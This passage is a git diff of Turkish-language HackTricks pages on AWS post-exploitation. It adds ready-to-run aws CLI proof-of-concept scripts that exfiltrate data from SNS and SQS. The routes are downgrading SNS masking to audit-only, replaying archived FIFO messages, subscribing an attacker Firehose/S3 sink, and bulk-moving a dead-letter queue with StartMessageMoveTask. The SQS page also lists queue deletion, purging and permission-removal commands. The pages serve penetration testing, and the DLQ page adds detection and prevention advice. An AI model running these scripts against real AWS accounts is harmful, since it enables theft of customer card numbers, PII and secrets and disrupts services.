--output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) Outbound mesajlarda kredi kartı numaralarını maskeleyen bir data protection policy iliştirin + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) Saldırgan kuyruğunu subscribe edin ve test bir CC numarası ile mesaj yayınlayın, maskeleme olduğunu doğrulayın + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +Beklenen çıktı maskeleme gösterir (hash'ler): +```json +"Message" : "payment:{cc:################}" +``` +4) Politikayı audit-only moduna düşürün (Outbound'ı etkileyen deidentify/deny ifadeleri olmasın) + +SNS için Audit ifadeleri Inbound olmalıdır. Politikayı Audit-only Inbound ifadesi ile değiştirmek, herhangi bir Outbound de-identification'ı kaldırır; böylece mesajlar aboneye değiştirilmeden iletilir. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) Aynı mesajı publish edin ve maskelenmemiş değerin teslim edildiğini doğrulayın +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Beklenen alıntı açık metin CC'yi gösterir: +```text +4539894458086459 +``` +## Etki +- Bir topic'i de-identification/deny'den audit-only'e geçirmek (veya Outbound kontrollerini başka şekilde kaldırmak), PII/secrets'in değişmeden saldırgan kontrolündeki aboneliklere geçmesine izin verir; bu da aksi takdirde maskelenecek veya engellenecek data exfiltration'a olanak sağlar. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..f18938f96 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Amazon SNS FIFO konu mesaj arşivlemesinin kötüye kullanılarak, aboneliğin ReplayPolicy'si ayarlanıp saldırgan kontrollü SQS FIFO kuyruğuna daha önce yayımlanmış mesajların yeniden oynatılması ve exfiltrate edilmesi. + +- Servis: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- Gereksinimler: Konunun ArchivePolicy etkin olmalı (mesaj arşivleme). Saldırgan konuya Subscribe olabilmeli ve aboneliği üzerinde attribute ayarlayabilmeli. Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konuya mesaj göndermesine izin veren bir kuyruk politikası ekleyebilmeli. +- Impact: Tarihsel mesajlar (abonelikten önce publish edilmiş olanlar) saldırgan endpointine teslim edilebilir. Yeniden oynatılan teslimatlar SNS zarfında Replayed=true ile işaretlenir. + +## Ön Koşullar +- ArchivePolicy etkin bir SNS FIFO konusu: `ArchivePolicy` (ör. `{ "MessageRetentionPeriod": "2" }` için 2 gün). +- Saldırganın izinleri: + - `sns:Subscribe` hedef konu üzerinde. + - `sns:SetSubscriptionAttributes` oluşturulan abonelik üzerinde. +- Saldırgan bir SQS FIFO kuyruğuna sahip olmalı ve konu ARN'sinden `sns:SendMessage` izni veren bir kuyruk politikası ekleyebilmeli. + +## Minimum IAM permissions +- Konu üzerinde: `sns:Subscribe`. +- Abonelik üzerinde: `sns:SetSubscriptionAttributes`. +- Kuyruk üzerinde: politika için `sqs:SetQueueAttributes` ve kuyruk politikası ile konu ARN'sinden `sns:SendMessage` izinlendirmesi. + +## Attack: Replay archived messages to attacker SQS FIFO +Saldırgan, SQS FIFO kuyruğunu hedef SNS FIFO konusuna subscribe eder, sonra abonelik için `ReplayPolicy`'yi arşiv saklama penceresi içindeki geçmiş bir zamana ayarlar. SNS, yeni aboneliğe uyan arşivlenmiş mesajları hemen yeniden oynatır ve bunları `Replayed=true` ile işaretler. + +Notlar: +- `ReplayPolicy`'de kullanılan zaman damgası, konunun `BeginningArchiveTime`'ından >= olmalıdır. Daha önce ise API `Invalid StartingPoint value` döner. +- SNS FIFO için `Publish` yaparken bir `MessageGroupId` belirtmelisiniz (veya dedup ID ya da `ContentBasedDeduplication` etkinleştirilmiş olmalı). + +
+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
+ +## Etki +**Potansiyel Etki**: Arşivleme etkinleştirilmiş bir SNS FIFO topic'e subscribe olabilen ve subscription'ına `ReplayPolicy` uygulayabilen bir attacker, sadece subscription oluşturulduktan sonra gönderilenler değil, o topic'e daha önce publish edilmiş geçmiş mesajları hemen replay edip exfiltrate edebilir. Teslim edilen mesajların SNS zarfında `Replayed=true` bayrağı bulunur. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..d803d0bb2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +Firehose subscription protocol'ünü kötüye kullanarak hedef bir SNS standard topic üzerine saldırgan tarafından kontrol edilen bir Kinesis Data Firehose delivery stream kaydedin. Abonelik kurulduktan ve gerekli IAM rolü `sns.amazonaws.com`'a güven verdikten sonra, gelecekteki her bildirim minimum gürültüyle kalıcı olarak saldırganın S3 bucket'ına yazılır. + +## Requirements +- Saldırgan hesabında bir S3 bucket, Firehose delivery stream ve Firehose tarafından kullanılan IAM rolünü oluşturmak için izinler (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, vb.). +- Hedef topic'e `sns:Subscribe` yapabilme yeteneği (ve abonelik rol ARN'si oluşturulduktan sonra sağlanıyorsa isteğe bağlı olarak `sns:SetSubscriptionAttributes`). +- Saldırgan principal'in subscribe yapmasına izin veren bir topic policy (veya saldırgan zaten aynı hesap içinde çalışıyor olabilir). + +## Attack Steps (same-account example) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Cleanup +- SNS aboneliğini, Firehose delivery stream'ini, geçici IAM rolleri/politikalarını ve saldırgan S3 bucket'ını silin. + +## Impact +**Potansiyel Etki**: Hedeflenen SNS konusuna yayınlanan her mesajın, minimum işletimsel ayak iziyle, saldırgan tarafından kontrol edilen depolamaya sürekli ve kalıcı exfiltration'ı. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..81f2400ab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +## Açıklama + +SQS message move task'larını istismar ederek, kurbanın Dead-Letter Queue (DLQ)'sinde biriken tüm mesajları `sqs:StartMessageMoveTask` kullanarak saldırgana ait bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini kullanarak zaman içinde DLQ'larda biriken hassas verileri exfiltrate etmeye yarar. + +## What is a Dead-Letter Queue (DLQ)? + +A Dead-Letter Queue, ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS queue'dur. Bu başarısız mesajlar genellikle şunları içerir: +- İşlenemeyen hassas uygulama verileri +- Hata detayları ve debugging bilgileri +- Personal Identifiable Information (PII) +- API tokens, credentials veya diğer secret'lar +- İş açısından kritik işlem verileri + +DLQ'lar başarısız mesajlar için bir "mezarlık" görevi görür ve uygulamaların düzgün işleyemediği hassas verileri zaman içinde biriktirdikleri için değerli hedefler haline gelirler. + +## Saldırı Senaryosu + +**Gerçek dünya örneği:** +1. **E-commerce uygulaması** müşteri siparişlerini SQS üzerinden işler +2. **Bazı siparişler başarısız olur** (ödeme sorunları, stok problemleri vb.) ve bir DLQ'ya taşınır +3. **DLQ haftalar/aylar boyunca** müşteriye ait veri içeren başarısız siparişleri biriktirir: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Saldırgan**, SQS izinlerine sahip AWS kimlik bilgilerine erişim sağlar +5. **Saldırgan keşfeder** ki DLQ binlerce hassas müşteri siparişi içeriyor +6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve fark edilir), saldırgan `StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna toplu olarak taşır +7. **Saldırgan tek bir operasyonla** tüm geçmişe dair hassas verileri çıkarır + +## Gereksinimler +- Kaynak kuyruk bir DLQ olarak yapılandırılmış olmalı (en az bir queue tarafından RedrivePolicy ile referans verilmiş olmalı). +- IAM izinleri (ele geçirilmiş kurban prinsipiyle çalıştırılacak): +- DLQ (source) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Destination queue üzerinde: mesaj teslimine izin veren izin (ör. kurban prinsipi tarafından `sqs:SendMessage`'a izin veren queue policy). Aynı hesap içindeki destinasyonlar için bu genellikle varsayılan olarak izinlidir. +- Eğer SSE-KMS etkinse: source CMK üzerinde `kms:Decrypt`, destination CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`. + +## Etki +DLQ'larda birikmiş hassas payload'ları (başarısız event'ler, PII, token'lar, uygulama payload'ları) yerleşik SQS API'leri kullanarak yüksek hızda exfiltrate edebilirsiniz. Eğer destinasyon queue policy, kurban prinsipi tarafından `SendMessage`'a izin veriyorsa cross-account çalışır. + +## Nasıl Kötüye Kullanılır + +- Hedef DLQ ARN'sini belirleyin ve gerçekten bir DLQ olarak başka bir queue tarafından referans verildiğinden emin olun (herhangi bir queue yeterlidir). +- Saldırgana ait bir destination queue oluşturun veya seçin ve ARN'sini alın. +- Hedef DLQ'dan destination queue'ya bir message move task başlatın. +- İlerlemeyi izleyin veya gerekirse iptal edin. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve e-commerce uygulamasının failed müşteri sipariş işlemlerini içeren bir DLQ kullandığını keşfetmiştir. + +1) **Hedef DLQ'yu keşfedin ve inceleyin** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Saldırgan tarafından kontrol edilen hedef kuyruğu oluşturun** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Toplu mesaj hırsızlığını gerçekleştir** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Çalınan hassas verileri toplama** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Hesaplar arası notlar +- Hedef kuyruğun, hedef principal'in `sqs:SendMessage` yapmasına izin veren bir resource policy'si olmalıdır (ve, kullanılıyorsa, KMS grants/permissions). + +## Neden Bu Saldırı Etkili + +1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır, bu yüzden kötü amaçlı olarak tespit edilmesi zordur +2. **Toplu İşlem**: Yavaş tek tek erişim yerine binlerce mesajı hızlıca taşır +3. **Geçmiş Veriler**: DLQ'lar haftalar/aylar içinde hassas veriler biriktirir +4. **Radarın Dışında**: Birçok kuruluş DLQ erişimini yakından izlemez +5. **Hesaplar Arası Yeteneği**: İzinler olursa saldırganın kendi AWS hesabına veri sızdırabilir + +## Tespit ve Önleme + +### Tespit +Şüpheli `StartMessageMoveTask` API çağrılarını tespit etmek için CloudTrail'i izleyin: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Önleme +1. **En Az Ayrıcalık**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere kısıtlayın +2. **DLQ'ları İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmı kurun +3. **Hesaplar Arası Politikalar**: Hesaplar arası erişime izin veren SQS kuyruk politikalarını dikkatle gözden geçirin +4. **DLQ'leri Şifreleyin**: SSE-KMS kullanın ve sınırlı anahtar politikaları uygulayın +5. **Düzenli Temizlik**: Hassas verilerin DLQ'lerde süresiz birikmesine izin vermeyin diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index 1b3fe9292..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Olası Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi. - -### `sqs:DeleteQueue` - -Bir saldırgan, tüm bir SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**Olası Etki**: Silinen kuyruğu kullanan uygulamalar için mesaj kaybı ve hizmet kesintisi. - -### `sqs:PurgeQueue` - -Bir saldırgan, bir SQS kuyruğundaki tüm mesajları temizleyebilir, bu da mesaj kaybına ve bu mesajlara bağımlı uygulamaların potansiyel olarak kesintiye uğramasına yol açar. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**Olası Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi. - -### `sqs:SetQueueAttributes` - -Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir, bu da performansını, güvenliğini veya kullanılabilirliğini etkileyebilir. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**Olası Etki**: Yanlış yapılandırmalar, performans düşüklüğüne, güvenlik sorunlarına veya azalmış kullanılabilirliğe yol açabilir. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -Bir saldırgan, SQS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. - -### `sqs:RemovePermission` - -Bir saldırgan, SQS kuyruğuna bağlı politikaları kaldırarak meşru kullanıcılar veya hizmetler için izinleri iptal edebilir. Bu, kuyruğa bağımlı uygulamaların normal işleyişinde kesintilere yol açabilir. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**Potansiyel Etki**: Kuyruğa bağımlı uygulamaların normal işleyişinin bozulması, yetkisiz izin kaldırma nedeniyle. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..d7d0196b5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Bir saldırgan SQS kuyruğuna kötü amaçlı veya istenmeyen mesajlar gönderebilir; bu, potansiyel olarak veri bozulmasına, istenmeyen işlemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potansiyel Etki**: Zafiyet istismarı, veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Bir saldırgan SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir; bu durum bu mesajlara bağımlı uygulamalarda mesaj kaybına, veri bozulmasına veya hizmet aksamasına neden olabilir. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potansiyel Etki**: Hassas bilgilerin çalınması, mesaj kaybı, veri bozulması ve etkilenen mesajlara bağlı uygulamalar için hizmet kesintisi. + +### `sqs:DeleteQueue` + +Bir saldırgan tüm bir SQS kuyruğunu silebilir; bu, mesaj kaybına neden olur ve kuyruğa bağlı uygulamaları etkiler. +```bash +aws sqs delete-queue --queue-url +``` +**Olası Etki**: Silinen kuyruğu kullanan uygulamalar için mesaj kaybı ve hizmet aksaması. + +### `sqs:PurgeQueue` + +Bir saldırgan, bir SQS kuyruğundaki tüm mesajları silebilir; bu, mesaj kaybına ve bu mesajlara güvenen uygulamalarda potansiyel hizmet aksamasına yol açar. +```bash +aws sqs purge-queue --queue-url +``` +**Potansiyel Etki**: Temizlenen mesajlara bağlı uygulamalar için mesaj kaybı ve hizmet kesintisi. + +### `sqs:SetQueueAttributes` + +Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir; bu da kuyruğun performansını, güvenliğini veya kullanılabilirliğini etkileyebilir. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Olası Etki**: Yanlış yapılandırmalar performans düşüşüne, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +Bir saldırgan SQS kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu da kuruluşunuzun maliyet dağılımını, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**Olası Etki**: Maliyet dağılımı, kaynak takibi ve etiket tabanlı erişim kontrolü politikalarında aksama. + +### `sqs:RemovePermission` + +Bir saldırgan, SQS kuyruğuyla ilişkili politikaları kaldırarak meşru kullanıcıların veya servislerin izinlerini iptal edebilir. Bu, kuyruğa bağlı uygulamaların normal işleyişinde aksamalara yol açabilir. +```bash +aws sqs remove-permission --queue-url --label +``` +**Potansiyel Etki**: İzinlerin yetkisiz kaldırılması nedeniyle kuyruğa bağlı uygulamaların normal işleyişinin bozulması. + +### Daha fazla SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..4d458806b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## Açıklama + +SQS message move task'larını kötüye kullanarak, mağdurun Dead-Letter Queue (DLQ)'sinde birikmiş tüm mesajları `sqs:StartMessageMoveTask` kullanarak saldırgan kontrollü bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini DLQ'lerde zaman içinde biriken hassas verileri sızdırmak için suistimal eder. + +## Dead-Letter Queue (DLQ) nedir? + +Dead-Letter Queue, ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir: +- İşlenemeyen hassas uygulama verileri +- Hata ayrıntıları ve debug bilgileri +- Kişisel Tanımlayıcı Bilgiler (PII) +- API tokenları, kimlik bilgileri veya diğer sırlar +- İş açısından kritik işlem verileri + +DLQ'ler başarısız mesajlar için bir "mezarlık" görevi görür; uygulamaların düzgün işleyemediği hassas verilerin zamanla birikmesi nedeniyle değerli hedeflerdir. + +## Saldırı Senaryosu + +**Gerçek dünya örneği:** +1. **E-ticaret uygulaması** müşteri siparişlerini SQS üzerinden işler +2. **Bazı siparişler başarısız olur** (ödeme sorunları, stok problemleri vb.) ve bir DLQ'ye taşınır +3. **DLQ haftalar/aylar boyunca** müşteri verileri içeren başarısız siparişlerle dolar: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Saldırgan, SQS izinlerine sahip AWS kimlik bilgilerini ele geçirir** +5. **Saldırgan DLQ'nin** binlerce hassas veri içeren başarısız sipariş barındırdığını keşfeder +6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve bariz), saldırgan 